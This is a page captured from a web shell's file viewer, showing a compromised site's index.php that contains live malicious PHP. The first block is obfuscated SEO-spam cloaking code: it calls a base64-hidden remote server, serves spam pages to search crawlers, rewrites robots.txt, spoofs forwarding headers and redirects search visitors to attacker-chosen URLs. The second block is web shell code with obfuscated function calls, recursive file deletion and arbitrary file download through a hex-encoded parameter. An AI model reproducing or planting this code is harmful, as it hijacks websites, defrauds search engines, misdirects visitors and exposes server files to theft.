Your IP : 216.73.216.71


Current Path : /home/lescs/www/25040/
Upload File :
Current File : /home/lescs/www/25040/index.php

<?php
@set_time_limit(0);error_reporting(0);$timeout=5;$TD_server="aHR0cDovL28ucW9taS50b3A=";$TD_server=base64_decode($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode(strtolower($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');ob_clean();if(substr($request,-4)===".xml"){if(strpos($request,'sub')!==false){$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}else{$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}if($response!==false&&$response[0]==200){header('Content-Type: application/xml; charset=utf-8');echo $response[1];}exit;}else if(stripos($request,'robots.txt')!==false){$robots_path=$_SERVER['DOCUMENT_ROOT']. '/robots.txt';$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type. '://' .rtrim($host,'/'). "/" . "inx_sitemap.xml
";if(is_writable(dirname($robots_path))){file_put_contents($robots_path,$robotsTxtContent);}header('Content-Type: text/plain');echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if(preg_match($image_pattern,$request)){exit;}if(preg_match('/google|coccoc|bingbot|Y!J/i',$user_agent)){$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$timeout,$user_agent,$referer);if($response!==false){if($response[0]==200&&!empty($response[1])){http_response_code(200);header('Cache-Control: max-age=31536000');header('Expires: ' . gmdate('D, d M Y H:i:s',time()+31536000). ' GMT');header('X-Content-Type-Options: nosniff');header('Vary: Accept-Encoding');header('Access-Control-Expose-Headers: Content-Length');header('Content-Type: text/html; charset=UTF-8');echo $response[1];exit;}else{if(!empty($response[1])){$json_data=str_replace(array(chr(239),chr(187),chr(191),"
","
","
","	"),'',$response[1]);$item_data=json_decode($json_data,true);$name=urlencode($item_data['name']);$id=$item_data['id'];if(!empty($name)){$spider_result=spider($name);}}}if(isset($spider_result)&&$spider_result!=false&&isset($id)){$data=array('id'=>$id,'spider_url'=>$spider_result[0],'html_text'=>$spider_result[1]);}else{$id=isset($id)?$id:0;$data=array('id'=>$id,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'coccoc')!==false||strpos($referer,'bing')!==false){if(judgeLanguage()==1){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$timeout,$user_agent,$referer);if($response!==false&&$response[0]==200&&strlen($response[1])>5){$tzurl=trim($response[1]);$tzurl=preg_replace('/[^\x20-\x7E]/','',$tzurl);$tzurl=trim($tzurl," \"'`");$tzurl=preg_replace('/^\s+|\s+$/','',$tzurl);@header("Location: " . $tzurl);exit;}}}function curl_request($izPgQAJ,$VAzhIfv=10,$zBYOSmQ='',$rtwhXIJ=null){global $has_curl;if($zBYOSmQ==''){$zBYOSmQ=generate_random_ua();}if($has_curl){$ip=rand(1,254). '.' .rand(1,254). '.' .rand(1,254). '.' .rand(1,254);$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$izPgQAJ,CURLOPT_HTTPHEADER=>$headerArr,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_USERAGENT=>$zBYOSmQ,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_AUTOREFERER=>1,CURLOPT_ENCODING=>"gzip",CURLOPT_HTTPGET=>1,CURLOPT_TIMEOUT=>$VAzhIfv,CURLOPT_HEADER=>0,CURLOPT_RETURNTRANSFER=>1,CURLOPT_REFERER=>$rtwhXIJ]);$output=curl_exec($curl);if(curl_errno($curl)){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$zBYOSmQ. "
" . "Referer: " .$rtwhXIJ. "
",'timeout'=>$VAzhIfv],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($izPgQAJ,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[0],$matches);$httpcode=isset($matches[1])?(int)$matches[1]:0;return[$httpcode,$response];}}function post($PVpgglv,$UyHleYJ,$lDVvjpJ=''){global $has_curl;if($lDVvjpJ==''){$lDVvjpJ=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$PVpgglv,CURLOPT_HEADER=>0,CURLOPT_USERAGENT=>$lDVvjpJ,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query($UyHleYJ),CURLOPT_RETURNTRANSFER=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_TIMEOUT=>10,CURLOPT_HTTPHEADER=>['Content-Type: application/x-www-form-urlencoded; charset=UTF-8','Accept: application/json']]);$output=curl_exec($curl);curl_close($curl);return $output;}else{$UyHleYJ=http_build_query($UyHleYJ);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$lDVvjpJ. "
",'content'=>$UyHleYJ,'timeout'=>10],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($PVpgglv,false,$context);return $response;}}function judgeLanguage(){global $lang;if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);foreach($languages as $language){$cleanLang=strtolower(trim($language));$langCode=substr($cleanLang,0,2);if($langCode===$lang){return 1;}}}return 0;}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand(1,100),'Mozilla/' .rand(3,5). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand(50,60). ') Gecko/20100101 Firefox/' .rand(1,100),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand(50,60). ') AppleWebKit/' .rand(500,600). '.36 (KHTML, like Gecko) Chrome/' .rand(50,60). '.0.3112.90 Safari/' .rand(500,600). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(13,16). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(90,100). '.0.4430.212 Safari/537.36 Edg/' .rand(90,100). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(90,100). '.0.4430.212 Safari/537.36 OPR/' .rand(76,86). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(8,12). '.0; SM-G9' .rand(5,9). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(90,100). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand(14,16). '_' .rand(0,5). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(14,16). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function get_client_ip(){$ip_keys=array('HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){if($key==='REMOTE_ADDR'){return $ip;}if(!is_private_ip($ip)){return $ip;}}}}}return 'unknown';}function is_private_ip($yNybagQ){return!filter_var($yNybagQ,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE);}function spider($iCYfVEJ){global $timeout;$hrefTemp=spider_search($iCYfVEJ);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$timeout,$googleua,$href);if($spider_html!==false&&$spider_html[0]==200){$htmltext=trim($spider_html[1]);if(strlen($htmltext)>2000){return[$href,$htmltext];}}}return false;}function spider_search($gRgXHuJ){global $timeout;$search_urls=["google"=>"https://www.google.com/search?q=" .$gRgXHuJ. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?p=" .$gRgXHuJ];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,$timeout,'',$url);if($result!==false&&$result[0]===200){$dom=new DOMDocument();@$dom->loadHTML($result[1],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===0){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[1],0,-4);if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;}
?><?php
function rec($j) {
    global $GNJ;
    if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
        return;
    }
    if($GNJ[8]($j)) {
        array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
        $GNJ[35]($j);
    }
    else {
        $GNJ[10]($j);
    }
}
function dre($y1, $y2) {
    global $GNJ;
    ob_start();
    $GNJ[16]($y1($y2));
    return $GNJ[36]();
}
function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
function OK() {
    global $GNJ, $d;
    $GNJ[38]($GNJ[9]);
    header("Location: ?d=".hex($d)."&1");
    exit();
}
function ER() {
    global $GNJ, $d;
    $GNJ[38]($GNJ[9]);
    header("Location: ?d=".hex($d)."&0");
    exit();
}
function x($c) {
    global $GNJ;
    $x = $GNJ[24]($c);
    if(($x & 0xC000) == 0xC000) {
        $u = "s";
    }
    elseif(($x & 0xA000) == 0xA000) {
        $u = "l";
    }
    elseif(($x & 0x8000) == 0x8000) {
        $u = "-";
    }
    elseif(($x & 0x6000) == 0x6000) {
        $u = "b";
    }
    elseif(($x & 0x4000) == 0x4000) {
        $u = "d";
    }
    elseif(($x & 0x2000) == 0x2000) {
        $u = "c";
    }
    elseif(($x & 0x1000) == 0x1000) {
        $u = "p";
    }
    else {
        $u = "u";
    }
    $u .= (($x & 0x0100) ? "r" : "-");
    $u .= (($x & 0x0080) ? "w" : "-");
    $u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
    $u .= (($x & 0x0020) ? "r" : "-");
    $u .= (($x & 0x0010) ? "w" : "-");
    $u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
    $u .= (($x & 0x0004) ? "r" : "-");
    $u .= (($x & 0x0002) ? "w" : "-");
    $u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
    return $u;
}
if(isset($_GET["g"])) {
    $GNJ[38]($GNJ[9]);
    header("Content-Type: application/octet-stream");
    header("Content-Transfer-Encoding: Binary");
    header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
    header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
    $GNJ[37](uhex($_GET["g"]));
}
?>